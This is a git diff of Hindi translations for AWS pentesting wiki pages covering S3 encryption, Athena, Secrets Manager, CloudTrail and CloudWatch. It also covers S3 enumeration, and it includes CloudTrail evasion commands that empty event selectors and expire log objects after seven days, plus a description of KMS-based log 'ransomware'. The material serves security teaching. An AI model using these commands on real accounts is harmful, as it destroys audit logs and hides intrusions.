-Server-side encryption with customer provided keys, SSE-C +सर्वर-साइड एन्क्रिप्शन ग्राहक द्वारा प्रदान की गई कुंजियों के साथ, SSE-C -यह विकल्प आपको अपनी खुद की मास्टर कुंजी प्रदान करने का अवसर देता है जिसे आप पहले से AWS के बाहर उपयोग कर रहे हो सकते हैं। आपकी ग्राहक-प्रदान की गई कुंजी फिर आपके डेटा के साथ S3 को भेजी जाएगी, जहां S3 आपके लिए एन्क्रिप्शन करेगा। +यह विकल्प आपको अपनी मास्टर कुंजी प्रदान करने का अवसर देता है जिसे आप पहले से AWS के बाहर उपयोग कर रहे होंगे। आपकी ग्राहक द्वारा प्रदान की गई कुंजी फिर आपके डेटा के साथ S3 को भेजी जाएगी, जहां S3 आपके लिए एन्क्रिप्शन करेगा। - एन्क्रिप्शन: - उपयोगकर्ता ऑब्जेक्ट डेटा + ग्राहक कुंजी को S3 को भेजता है - ग्राहक कुंजी का उपयोग डेटा को एन्क्रिप्ट करने के लिए किया जाता है और एन्क्रिप्टेड डेटा संग्रहीत किया जाता है - भविष्य की कुंजी मान्यता के लिए ग्राहक कुंजी का एक सॉल्टेड HMAC मान भी संग्रहीत किया जाता है -- ग्राहक कुंजी मेमोरी से हटा दी जाती है +- ग्राहक कुंजी को मेमोरी से हटा दिया जाता है - डिक्रिप्शन: - उपयोगकर्ता ग्राहक कुंजी भेजता है - कुंजी को संग्रहीत HMAC मान के खिलाफ मान्य किया जाता है @@ -100,15 +100,15 @@ ExpiresIn=3600
-Client-side encryption with KMS, CSE-KMS +क्लाइंट-साइड एन्क्रिप्शन KMS के साथ, CSE-KMS -SSE-KMS की तरह, यह भी आपके डेटा एन्क्रिप्शन कुंजी उत्पन्न करने के लिए कुंजी प्रबंधन सेवा का उपयोग करता है। हालाँकि, इस बार KMS को क्लाइंट के माध्यम से बुलाया जाता है न कि S3 के माध्यम से। एन्क्रिप्शन फिर क्लाइंट-साइड पर होता है और एन्क्रिप्टेड डेटा को S3 को संग्रहीत करने के लिए भेजा जाता है। +SSE-KMS के समान, यह भी आपकी डेटा एन्क्रिप्शन कुंजियों को उत्पन्न करने के लिए कुंजी प्रबंधन सेवा का उपयोग करता है। हालाँकि, इस बार KMS को क्लाइंट के माध्यम से बुलाया जाता है न कि S3 के माध्यम से। एन्क्रिप्शन फिर क्लाइंट-साइड होता है और एन्क्रिप्टेड डेटा को S3 को संग्रहीत करने के लिए भेजा जाता है। - एन्क्रिप्शन: - क्लाइंट KMS से डेटा कुंजी का अनुरोध करता है - KMS प्लेनटेक्स्ट DEK और CMK के साथ एन्क्रिप्टेड DEK लौटाता है - दोनों कुंजियाँ वापस भेजी जाती हैं -- क्लाइंट फिर प्लेनटेक्स्ट DEK के साथ डेटा को एन्क्रिप्ट करता है और S3 को एन्क्रिप्टेड डेटा + एन्क्रिप्टेड DEK (जो S3 के अंदर एन्क्रिप्टेड डेटा के मेटाडेटा के रूप में संग्रहीत होता है) भेजता है +- क्लाइंट फिर प्लेनटेक्स्ट DEK के साथ डेटा को एन्क्रिप्ट करता है और S3 को एन्क्रिप्टेड डेटा + एन्क्रिप्टेड DEK (जो S3 के अंदर एन्क्रिप्टेड डेटा के मेटाडेटा के रूप में सहेजा जाता है) भेजता है - डिक्रिप्शन: - एन्क्रिप्टेड डेटा और एन्क्रिप्टेड DEK क्लाइंट को भेजा जाता है - क्लाइंट KMS से CMK का उपयोग करके एन्क्रिप्टेड कुंजी को डिक्रिप्ट करने के लिए पूछता है और KMS प्लेनटेक्स्ट DEK वापस भेजता है @@ -118,23 +118,23 @@ SSE-KMS की तरह, यह भी आपके डेटा एन्क
-Client-side encryption with customer provided keys, CSE-C +क्लाइंट-साइड एन्क्रिप्शन ग्राहक द्वारा प्रदान की गई कुंजियों के साथ, CSE-C -इस तंत्र का उपयोग करके, आप अपनी खुद की प्रदान की गई कुंजियों का उपयोग कर सकते हैं और S3 में संग्रहण के लिए भेजने से पहले अपने डेटा को एन्क्रिप्ट करने के लिए AWS-SDK क्लाइंट का उपयोग कर सकते हैं। +इस तंत्र का उपयोग करते हुए, आप अपनी प्रदान की गई कुंजियों का उपयोग कर सकते हैं और S3 के लिए डेटा भेजने से पहले अपने डेटा को एन्क्रिप्ट करने के लिए AWS-SDK क्लाइंट का उपयोग कर सकते हैं। - एन्क्रिप्शन: - क्लाइंट एक DEK उत्पन्न करता है और प्लेनटेक्स्ट डेटा को एन्क्रिप्ट करता है -- फिर, अपनी खुद की कस्टम CMK का उपयोग करके DEK को एन्क्रिप्ट करता है +- फिर, अपनी कस्टम CMK का उपयोग करके DEK को एन्क्रिप्ट करता है - एन्क्रिप्टेड डेटा + एन्क्रिप्टेड DEK को S3 में जमा करता है जहां इसे संग्रहीत किया जाता है - डिक्रिप्शन: - S3 एन्क्रिप्टेड डेटा और DEK भेजता है -- चूंकि क्लाइंट के पास पहले से DEK को एन्क्रिप्ट करने के लिए उपयोग की गई CMK है, यह DEK को डिक्रिप्ट करता है और फिर डेटा को डिक्रिप्ट करने के लिए प्लेनटेक्स्ट DEK का उपयोग करता है +- चूंकि क्लाइंट के पास पहले से DEK को एन्क्रिप्ट करने के लिए उपयोग की गई CMK है, यह DEK को डिक्रिप्ट करता है और फिर प्लेनटेक्स्ट DEK का उपयोग करके डेटा को डिक्रिप्ट करता है
-### **Enumeration** +### **गणना** -AWS संगठनों से समझौता करने के पारंपरिक मुख्य तरीकों में से एक सार्वजनिक रूप से सुलभ बकेट्स से समझौता करना शुरू होता है। **आप इस पृष्ठ पर** [**सार्वजनिक बकेट्स एन्यूमरेटर पा सकते हैं**](../aws-unauthenticated-enum-access/#s3-buckets)**.** +AWS संगठनों से समझौता करने के पारंपरिक मुख्य तरीकों में से एक सार्वजनिक रूप से सुलभ बाल्टियों से समझौता करना शुरू होता है। **आप पा सकते हैं** [**सार्वजनिक बाल्टी गणक इस पृष्ठ पर**](../aws-unauthenticated-enum-access/#s3-buckets)**.** ```bash # Get buckets ACLs aws s3api get-bucket-acl --bucket @@ -238,7 +238,7 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ### Privesc -अगली पृष्ठ पर आप देख सकते हैं कि **S3 अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएं**: +अगली पृष्ठ में आप **S3 अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाने** के तरीके की जांच कर सकते हैं: {{#ref}} ../aws-privilege-escalation/aws-s3-privesc.md @@ -266,7 +266,21 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ### S3 HTTP Cache Poisoning Issue -[**इस शोध के अनुसार**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) यह संभव था कि किसी मनमाने बकेट के उत्तर को इस तरह कैश +[**इस शोध के अनुसार**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) यह संभव था कि किसी मनमाने बकेट के उत्तर को इस तरह कैश किया जाए जैसे कि यह किसी अन्य का हो। इसका दुरुपयोग करके उदाहरण के लिए जावास्क्रिप्ट फ़ाइल के उत्तरों को बदलना और S3 का उपयोग करके स्थिर कोड को स्टोर करने वाले मनमाने पृष्ठों को समझौता करना संभव था। + +## Amazon Athena + +Amazon Athena एक इंटरएक्टिव क्वेरी सेवा है जो **डेटा का विश्लेषण** करना आसान बनाती है सीधे Amazon Simple Storage Service (Amazon **S3**) **का उपयोग करके** मानक **SQL**। + +आपको **एक रिलेशनल DB टेबल तैयार करने** की आवश्यकता है जिसमें उस सामग्री का प्रारूप हो जो निगरानी किए गए S3 बकेट में दिखाई देने वाली है। और फिर, Amazon Athena लॉग से DB को भरने में सक्षम होगी, ताकि आप इसे क्वेरी कर सकें। + +Amazon Athena **पहले से एन्क्रिप्टेड S3 डेटा को क्वेरी करने की क्षमता का समर्थन करती है** और यदि इसे इस तरह से कॉन्फ़िगर किया गया है, तो **Athena क्वेरी के परिणामों को भी एन्क्रिप्ट कर सकती है जिन्हें फिर S3 में स्टोर किया जा सकता है**। + +**परिणामों का यह एन्क्रिप्शन आधारभूत क्वेरी किए गए S3 डेटा से स्वतंत्र है**, जिसका अर्थ है कि भले ही S3 डेटा एन्क्रिप्ट न हो, क्वेरी किए गए परिणाम एन्क्रिप्ट किए जा सकते हैं। कुछ बिंदुओं पर ध्यान देने की आवश्यकता है कि Amazon Athena केवल उन डेटा का समर्थन करती है जो **निम्नलिखित S3 एन्क्रिप्शन विधियों** के साथ **एन्क्रिप्टेड** हैं, **SSE-S3, SSE-KMS, और CSE-KMS**। + +SSE-C और CSE-E का समर्थन नहीं किया जाता है। इसके अलावा, यह समझना महत्वपूर्ण है कि Amazon Athena केवल **एन्क्रिप्टेड ऑब्जेक्ट्स पर क्वेरी चलाएगी जो क्वेरी के स्वयं के क्षेत्र में हैं**। यदि आपको KMS का उपयोग करके एन्क्रिप्टेड S3 डेटा को क्वेरी करने की आवश्यकता है, तो क्वेरी करने के लिए Athena उपयोगकर्ता द्वारा विशिष्ट अनुमतियों की आवश्यकता होती है। + +### Enumeration ```bash # Get catalogs aws athena list-data-catalogs diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md index d5ac05ea7..1fe24c5c1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md @@ -4,9 +4,9 @@ ## AWS Secrets Manager -AWS Secrets Manager का उद्देश्य **ऐप्लिकेशनों में हार्ड-कोडेड सीक्रेट्स के उपयोग को समाप्त करना है, उन्हें API कॉल के साथ बदलकर**। यह सेवा **आपके सभी सीक्रेट्स के लिए एक केंद्रीकृत भंडार के रूप में कार्य करती है**, यह सुनिश्चित करते हुए कि उन्हें सभी ऐप्लिकेशनों में समान रूप से प्रबंधित किया जाता है। +AWS Secrets Manager का उद्देश्य **ऐप्लिकेशनों में हार्ड-कोडेड सीक्रेट्स के उपयोग को समाप्त करना है, उन्हें API कॉल के साथ बदलकर**। यह सेवा **आपके सभी सीक्रेट्स के लिए एक केंद्रीकृत भंडार के रूप में कार्य करती है**, यह सुनिश्चित करते हुए कि उन्हें सभी ऐप्लिकेशनों में समान रूप से प्रबंधित किया जाए। -मैनेजर **सीक्रेट्स को घुमाने की प्रक्रिया को सरल बनाता है**, संवेदनशील डेटा जैसे डेटाबेस क्रेडेंशियल्स की सुरक्षा स्थिति में महत्वपूर्ण सुधार करता है। इसके अतिरिक्त, API कुंजियों जैसे सीक्रेट्स को स्वचालित रूप से घुमाया जा सकता है जब लैम्ब्डा फ़ंक्शंस का एकीकरण किया जाता है। +मैनेजर **सीक्रेट्स को घुमाने की प्रक्रिया को सरल बनाता है**, संवेदनशील डेटा जैसे डेटाबेस क्रेडेंशियल्स की सुरक्षा स्थिति में महत्वपूर्ण सुधार करता है। इसके अतिरिक्त, API कुंजी जैसे सीक्रेट्स को स्वचालित रूप से घुमाया जा सकता है जब लैम्ब्डा फ़ंक्शंस का एकीकरण किया जाता है। सीक्रेट्स तक पहुंच को विस्तृत IAM पहचान-आधारित नीतियों और संसाधन-आधारित नीतियों के माध्यम से कड़ाई से नियंत्रित किया जाता है। @@ -14,7 +14,7 @@ AWS Secrets Manager का उद्देश्य **ऐप्लिकेश 1. उपयोगकर्ता को सीक्रेट तक पहुंच की अनुमति दें। 2. KMS का उपयोग करके सीक्रेट को डिक्रिप्ट करने के लिए उपयोगकर्ता को अनुमति दें। -3. बाहरी उपयोगकर्ता को इसका उपयोग करने की अनुमति देने के लिए की नीति को संशोधित करें। +3. बाहरी उपयोगकर्ता को इसका उपयोग करने की अनुमति देने के लिए कुंजी नीति को संशोधित करें। **AWS Secrets Manager आपके सीक्रेट्स को AWS Secrets Manager के भीतर एन्क्रिप्ट करने के लिए AWS KMS के साथ एकीकृत होता है।** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index a6d4fc6bb..94421febc 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,7 +4,7 @@ ## **CloudTrail** -AWS CloudTrail **आपके AWS वातावरण के भीतर गतिविधियों को रिकॉर्ड और मॉनिटर करता है**। यह विस्तृत **इवेंट लॉग** कैप्चर करता है, जिसमें यह शामिल है कि किसने क्या किया, कब, और कहाँ, सभी AWS संसाधनों के साथ इंटरैक्शन के लिए। यह परिवर्तनों और क्रियाओं का एक ऑडिट ट्रेल प्रदान करता है, जो सुरक्षा विश्लेषण, अनुपालन ऑडिटिंग, और संसाधन परिवर्तन ट्रैकिंग में मदद करता है। CloudTrail उपयोगकर्ता और संसाधन व्यवहार को समझने, सुरक्षा स्थिति को बढ़ाने, और नियामक अनुपालन सुनिश्चित करने के लिए आवश्यक है। +AWS CloudTrail **आपके AWS वातावरण के भीतर गतिविधियों को रिकॉर्ड और मॉनिटर करता है**। यह विस्तृत **इवेंट लॉग** कैप्चर करता है, जिसमें यह शामिल है कि किसने क्या किया, कब, और कहाँ से, सभी AWS संसाधनों के साथ इंटरैक्शन के लिए। यह परिवर्तनों और क्रियाओं का एक ऑडिट ट्रेल प्रदान करता है, जो सुरक्षा विश्लेषण, अनुपालन ऑडिटिंग, और संसाधन परिवर्तन ट्रैकिंग में मदद करता है। CloudTrail उपयोगकर्ता और संसाधन व्यवहार को समझने, सुरक्षा स्थिति को बढ़ाने, और नियामक अनुपालन सुनिश्चित करने के लिए आवश्यक है। प्रत्येक लॉग की गई घटना में शामिल है: @@ -24,7 +24,7 @@ CloudTrail के लॉग को **खातों और क्षेत् CloudTrail **लॉग फ़ाइल की अखंडता का उपयोग करने की अनुमति देता है ताकि आप यह सत्यापित कर सकें कि आपकी लॉग फ़ाइलें CloudTrail द्वारा आपको वितरित किए जाने के बाद अपरिवर्तित रही हैं।** यह लॉग के अंदर एक डाइजेस्ट फ़ाइल में SHA-256 हैश बनाता है। नए लॉग का sha-256 हैश हर घंटे बनाया जाता है।\ एक ट्रेल बनाते समय इवेंट चयनकर्ता आपको लॉग करने के लिए ट्रेल को इंगित करने की अनुमति देंगे: प्रबंधन, डेटा या अंतर्दृष्टि घटनाएँ। -लॉग एक S3 बकेट में सहेजे जाते हैं। डिफ़ॉल्ट रूप से सर्वर साइड एन्क्रिप्शन (SSE-S3) का उपयोग किया जाता है, इसलिए AWS उन लोगों के लिए सामग्री को डिक्रिप्ट करेगा जिनके पास इसका एक्सेस है, लेकिन अतिरिक्त सुरक्षा के लिए आप KMS और अपनी स्वयं की कुंजियों के साथ SSE का उपयोग कर सकते हैं। +लॉग एक S3 बकेट में सहेजे जाते हैं। डिफ़ॉल्ट रूप से सर्वर साइड एन्क्रिप्शन का उपयोग किया जाता है (SSE-S3) ताकि AWS उन लोगों के लिए सामग्री को डिक्रिप्ट करेगा जिनके पास इसका एक्सेस है, लेकिन अतिरिक्त सुरक्षा के लिए आप KMS और अपनी कुंजियों के साथ SSE का उपयोग कर सकते हैं। लॉग एक **S3 बकेट में इस नाम प्रारूप के साथ संग्रहीत होते हैं**: @@ -45,7 +45,7 @@ CloudTrail **लॉग फ़ाइल की अखंडता का उप ### कई खातों से लॉग समेकित करना - उस AWS खाते में एक ट्रेल बनाएं जहाँ आप लॉग फ़ाइलें वितरित करना चाहते हैं -- गंतव्य S3 बकेट पर अनुमतियाँ लागू करें जो CloudTrail के लिए क्रॉस-खाता एक्सेस की अनुमति देती हैं और प्रत्येक AWS खाते को अनुमति दें जिसे एक्सेस की आवश्यकता है +- CloudTrail के लिए क्रॉस-खाता एक्सेस की अनुमति देते हुए गंतव्य S3 बकेट पर अनुमतियाँ लागू करें और प्रत्येक AWS खाते को अनुमति दें जिसे एक्सेस की आवश्यकता है - अन्य AWS खातों में एक नया ट्रेल बनाएं और चरण 1 में बनाए गए बकेट का उपयोग करने का चयन करें हालांकि, भले ही आप सभी लॉग को एक ही S3 बकेट में सहेज सकते हैं, आप एक ही AWS खाते से संबंधित CloudWatch लॉग में कई खातों से CloudTrail लॉग को समेकित नहीं कर सकते। @@ -69,15 +69,15 @@ aws cloudtrail validate-logs --trail-arn --start-time [- ``` ### Logs to CloudWatch -**CloudTrail स्वचालित रूप से CloudWatch को लॉग भेज सकता है ताकि आप संदिग्ध गतिविधियों के प्रदर्शन पर चेतावनी देने वाले अलर्ट सेट कर सकें।**\ -ध्यान दें कि CloudTrail को CloudWatch को लॉग भेजने की अनुमति देने के लिए एक **भूमिका** बनाई जानी चाहिए जो उस क्रिया की अनुमति देती है। यदि संभव हो, तो इन क्रियाओं को करने के लिए AWS डिफ़ॉल्ट भूमिका का उपयोग करने की सिफारिश की जाती है। यह भूमिका CloudTrail को अनुमति देगी: +**CloudTrail स्वचालित रूप से लॉग को CloudWatch में भेज सकता है ताकि आप अलर्ट सेट कर सकें जो आपको संदिग्ध गतिविधियों के प्रदर्शन पर चेतावनी देते हैं।**\ +ध्यान दें कि CloudTrail को CloudWatch में लॉग भेजने की अनुमति देने के लिए एक **भूमिका** बनाई जानी चाहिए जो उस क्रिया की अनुमति देती है। यदि संभव हो, तो इन क्रियाओं को करने के लिए AWS की डिफ़ॉल्ट भूमिका का उपयोग करने की सिफारिश की जाती है। यह भूमिका CloudTrail को अनुमति देगी: -- CreateLogStream: यह CloudWatch लॉग स्ट्रीम बनाने की अनुमति देता है -- PutLogEvents: CloudTrail लॉग को CloudWatch लॉग स्ट्रीम में वितरित करें +- CreateLogStream: यह CloudWatch Logs लॉग स्ट्रीम बनाने की अनुमति देता है +- PutLogEvents: CloudTrail लॉग को CloudWatch Logs लॉग स्ट्रीम में वितरित करें ### Event History -CloudTrail Event History आपको एक तालिका में रिकॉर्ड किए गए लॉग का निरीक्षण करने की अनुमति देता है: +CloudTrail Event History आपको एक तालिका में रिकॉर्ड किए गए लॉग की जांच करने की अनुमति देता है: ![](<../../../../images/image (89).png>) @@ -89,14 +89,14 @@ Insights उसी बकेट में CloudTrail लॉग के साथ ### Security -| CloudTrail Log File Integrity |
  • जांचें कि क्या लॉग में छेड़छाड़ की गई है (संशोधित या हटाए गए)
  • डाइजेस्ट फ़ाइलों का उपयोग करता है (प्रत्येक फ़ाइल के लिए हैश बनाएं)

    • SHA-256 हैशिंग
    • डिजिटल हस्ताक्षर के लिए RSA के साथ SHA-256
    • अमेज़न द्वारा स्वामित्व वाला निजी कुंजी
  • डाइजेस्ट फ़ाइल बनाने में 1 घंटा लगता है (हर घंटे के शुरू में किया जाता है)
| +| CloudTrail Log File Integrity |
  • जांचें कि क्या लॉग में छेड़छाड़ की गई है (संशोधित या हटाए गए)
  • डाइजेस्ट फ़ाइलों का उपयोग करता है (प्रत्येक फ़ाइल के लिए हैश बनाएं)

    • SHA-256 हैशिंग
    • डिजिटल हस्ताक्षर के लिए SHA-256 के साथ RSA
    • प्राइवेट की अमेज़न के पास है
  • डाइजेस्ट फ़ाइल बनाने में 1 घंटा लगता है (हर घंटे के शुरू में किया जाता है)
| | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| अनधिकृत पहुंच रोकें |
  • IAM नीतियों और S3 बकेट नीतियों का उपयोग करें

    • सुरक्षा टीम —> व्यवस्थापक पहुंच
    • ऑडिटर्स —> केवल पढ़ने की पहुंच
  • लॉग को एन्क्रिप्ट करने के लिए SSE-S3/SSE-KMS का उपयोग करें
| -| लॉग फ़ाइलों को हटाने से रोकें |
  • IAM और बकेट नीतियों के साथ हटाने की पहुंच को प्रतिबंधित करें
  • S3 MFA हटाने के लिए कॉन्फ़िगर करें
  • लॉग फ़ाइल सत्यापन के साथ मान्य करें
| +| Stop unauthorized access |
  • IAM नीतियों और S3 बकेट नीतियों का उपयोग करें

    • सुरक्षा टीम —> व्यवस्थापक पहुंच
    • ऑडिटर्स —> केवल पढ़ने की पहुंच
  • लॉग को एन्क्रिप्ट करने के लिए SSE-S3/SSE-KMS का उपयोग करें
| +| Prevent log files from being deleted |
  • IAM और बकेट नीतियों के साथ हटाने की पहुंच को प्रतिबंधित करें
  • S3 MFA हटाने के लिए कॉन्फ़िगर करें
  • लॉग फ़ाइल सत्यापन के साथ मान्य करें
| ## Access Advisor -AWS Access Advisor अपने अंतर्दृष्टि को इकट्ठा करने के लिए पिछले 400 दिनों के AWS **CloudTrail लॉग पर निर्भर करता है**। CloudTrail AWS खाते में किए गए AWS API कॉल और संबंधित घटनाओं का इतिहास कैप्चर करता है। Access Advisor इस डेटा का उपयोग **यह दिखाने के लिए करता है कि सेवाओं को अंतिम बार कब एक्सेस किया गया था**। CloudTrail लॉग का विश्लेषण करके, Access Advisor यह निर्धारित कर सकता है कि किसी IAM उपयोगकर्ता या भूमिका ने कौन सी AWS सेवाओं का उपयोग किया है और वह एक्सेस कब हुआ। यह AWS प्रशासकों को **अनुमतियों को परिष्कृत करने** के बारे में सूचित निर्णय लेने में मदद करता है, क्योंकि वे उन सेवाओं की पहचान कर सकते हैं जिन्हें लंबे समय तक एक्सेस नहीं किया गया है और वास्तविक उपयोग पैटर्न के आधार पर अत्यधिक व्यापक अनुमतियों को संभावित रूप से कम कर सकते हैं। +AWS Access Advisor अंतिम 400 दिनों के AWS **CloudTrail लॉग पर निर्भर करता है ताकि इसके Insights एकत्र किए जा सकें**। CloudTrail AWS API कॉल और संबंधित घटनाओं का एक इतिहास कैप्चर करता है जो AWS खाते में की गई हैं। Access Advisor इस डेटा का उपयोग **यह दिखाने के लिए करता है कि सेवाओं को अंतिम बार कब एक्सेस किया गया था**। CloudTrail लॉग का विश्लेषण करके, Access Advisor यह निर्धारित कर सकता है कि किसी IAM उपयोगकर्ता या भूमिका ने किन AWS सेवाओं का उपयोग किया है और वह एक्सेस कब हुआ। यह AWS प्रशासकों को **अनुमतियों को परिष्कृत करने** के बारे में सूचित निर्णय लेने में मदद करता है, क्योंकि वे उन सेवाओं की पहचान कर सकते हैं जिन्हें लंबे समय तक एक्सेस नहीं किया गया है और वास्तविक उपयोग पैटर्न के आधार पर अत्यधिक व्यापक अनुमतियों को कम कर सकते हैं। > [!TIP] > इसलिए, Access Advisor **उपयोगकर्ताओं को दी जा रही अनावश्यक अनुमतियों** के बारे में सूचित करता है ताकि व्यवस्थापक उन्हें हटा सके @@ -124,7 +124,7 @@ aws cloudtrail get-query-results --event-data-store --query-id --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region @@ -236,7 +236,7 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' # Remove all selectors (stop Insights) aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region ``` -पहले उदाहरण में, एकल इवेंट चयनकर्ता को एक JSON एरे के रूप में एकल ऑब्जेक्ट के साथ प्रदान किया गया है। `"ReadWriteType": "ReadOnly"` यह संकेत करता है कि **इवेंट चयनकर्ता को केवल पढ़ने के लिए इवेंट कैप्चर करना चाहिए** (इसलिए CloudTrail अंतर्दृष्टि **लिखने के** इवेंट की जांच नहीं करेगी, उदाहरण के लिए)। +पहले उदाहरण में, एकल इवेंट चयनकर्ता को एक JSON एरे के रूप में एकल ऑब्जेक्ट के साथ प्रदान किया गया है। `"ReadWriteType": "ReadOnly"` यह संकेत करता है कि **इवेंट चयनकर्ता को केवल पढ़ने के लिए इवेंट कैप्चर करना चाहिए** (इसलिए CloudTrail अंतर्दृष्टि **लिखने के इवेंट की जांच नहीं करेगी** उदाहरण के लिए)। आप अपने विशिष्ट आवश्यकताओं के आधार पर इवेंट चयनकर्ता को अनुकूलित कर सकते हैं। @@ -244,7 +244,7 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' ```bash aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region ``` -### बकेट कॉन्फ़िगरेशन में संशोधन +### बकेट कॉन्फ़िगरेशन को संशोधित करना - S3 बकेट को हटाएँ - बकेट नीति को बदलें ताकि CloudTrail सेवा से किसी भी लेखन को अस्वीकार किया जा सके @@ -256,7 +256,7 @@ aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration #### S3 रैनसमवेयर आप **एक विषम कुंजी उत्पन्न** कर सकते हैं और **CloudTrail को उस कुंजी के साथ डेटा एन्क्रिप्ट** करने के लिए कह सकते हैं और **निजी कुंजी को हटा सकते हैं** ताकि CloudTrail सामग्री को पुनर्प्राप्त नहीं किया जा सके।\ -यह मूल रूप से एक **S3-KMS रैनसमवेयर** है जो कि इस में समझाया गया है: +यह मूल रूप से एक **S3-KMS रैनसमवेयर** है जो इस प्रकार समझाया गया है: {{#ref}} ../../aws-post-exploitation/aws-s3-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 8335dc2e3..3be0f9dfc 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -6,12 +6,12 @@ **CloudWatch** **निगरानी** और संचालन **डेटा** को लॉग/मेट्रिक्स/इवेंट के रूप में एकत्र करता है, जो **AWS संसाधनों**, अनुप्रयोगों और सेवाओं का **एकीकृत दृश्य** प्रदान करता है।\ CloudWatch लॉग इवेंट में **प्रत्येक लॉग लाइन पर 256KB का आकार सीमा** होती है।\ -यह **उच्च संकल्प अलार्म** सेट कर सकता है, **लॉग** और **मेट्रिक्स** को एक साथ दृश्य में ला सकता है, स्वचालित क्रियाएँ कर सकता है, समस्याओं का समाधान कर सकता है, और अनुप्रयोगों को अनुकूलित करने के लिए अंतर्दृष्टि खोज सकता है। +यह **उच्च संकल्प अलार्म** सेट कर सकता है, **लॉग** और **मेट्रिक्स** को एक साथ दृश्य बना सकता है, स्वचालित क्रियाएँ कर सकता है, समस्याओं का समाधान कर सकता है, और अनुप्रयोगों को अनुकूलित करने के लिए अंतर्दृष्टि खोज सकता है। आप उदाहरण के लिए CloudTrail से लॉग की निगरानी कर सकते हैं। जिन घटनाओं की निगरानी की जाती है: - सुरक्षा समूहों और NACL में परिवर्तन -- EC2 उदाहरणों को प्रारंभ करना, रोकना, पुनरारंभ करना और समाप्त करना +- EC2 इंस्टेंस को प्रारंभ करना, रोकना, पुनरारंभ करना और समाप्त करना - IAM और S3 के भीतर सुरक्षा नीतियों में परिवर्तन - AWS प्रबंधन कंसोल में असफल लॉगिन प्रयास - API कॉल जो असफल प्राधिकरण में परिणत हुई @@ -21,39 +21,39 @@ CloudWatch लॉग इवेंट में **प्रत्येक लॉ ### Namespaces -एक नामस्थान CloudWatch मेट्रिक्स के लिए एक कंटेनर है। यह मेट्रिक्स को वर्गीकृत और अलग करने में मदद करता है, जिससे उन्हें प्रबंधित और विश्लेषण करना आसान हो जाता है। +एक namespace CloudWatch मेट्रिक्स के लिए एक कंटेनर है। यह मेट्रिक्स को वर्गीकृत और अलग करने में मदद करता है, जिससे उन्हें प्रबंधित और विश्लेषण करना आसान हो जाता है। -- **उदाहरण**: EC2-संबंधित मेट्रिक्स के लिए AWS/EC2, RDS मेट्रिक्स के लिए AWS/RDS। +- **उदाहरण**: EC2 से संबंधित मेट्रिक्स के लिए AWS/EC2, RDS मेट्रिक्स के लिए AWS/RDS। ### Metrics -मेट्रिक्स समय के साथ एकत्रित डेटा बिंदु होते हैं जो AWS संसाधनों के प्रदर्शन या उपयोग को दर्शाते हैं। मेट्रिक्स को AWS सेवाओं, कस्टम अनुप्रयोगों, या तृतीय-पक्ष एकीकरणों से एकत्र किया जा सकता है। +मेट्रिक्स समय के साथ एकत्रित डेटा बिंदु होते हैं जो AWS संसाधनों के प्रदर्शन या उपयोग को दर्शाते हैं। मेट्रिक्स को AWS सेवाओं, कस्टम अनुप्रयोगों, या तृतीय-पक्ष एकीकरण से एकत्रित किया जा सकता है। - **उदाहरण**: CPUUtilization, NetworkIn, DiskReadOps। ### Dimensions -Dimensions मेट्रिक्स का हिस्सा होते हैं जो कुंजी-मूल्य जोड़े होते हैं। वे एक मेट्रिक की अद्वितीय पहचान करने में मदद करते हैं और अतिरिक्त संदर्भ प्रदान करते हैं, 30 सबसे अधिक संख्या है जो एक मेट्रिक के साथ जुड़ी हो सकती है। Dimensions विशिष्ट विशेषताओं के आधार पर मेट्रिक्स को फ़िल्टर और समेकित करने की अनुमति भी देते हैं। +Dimensions मेट्रिक्स का हिस्सा होते हैं जो कुंजी-मूल्य जोड़े होते हैं। वे एक मेट्रिक की अद्वितीय पहचान करने में मदद करते हैं और अतिरिक्त संदर्भ प्रदान करते हैं, जिसमें 30 सबसे अधिक संख्या होती है जो एक मेट्रिक के साथ जुड़ी हो सकती है। Dimensions विशिष्ट विशेषताओं के आधार पर मेट्रिक्स को फ़िल्टर और समेकित करने की अनुमति भी देते हैं। -- **उदाहरण**: EC2 उदाहरणों के लिए, dimensions में InstanceId, InstanceType, और AvailabilityZone शामिल हो सकते हैं। +- **उदाहरण**: EC2 इंस्टेंस के लिए, dimensions में InstanceId, InstanceType, और AvailabilityZone शामिल हो सकते हैं। ### Statistics -Statistics मेट्रिक डेटा पर किए गए गणितीय गणनाएँ हैं जो इसे समय के साथ संक्षिप्त करती हैं। सामान्य सांख्यिकी में औसत, योग, न्यूनतम, अधिकतम, और SampleCount 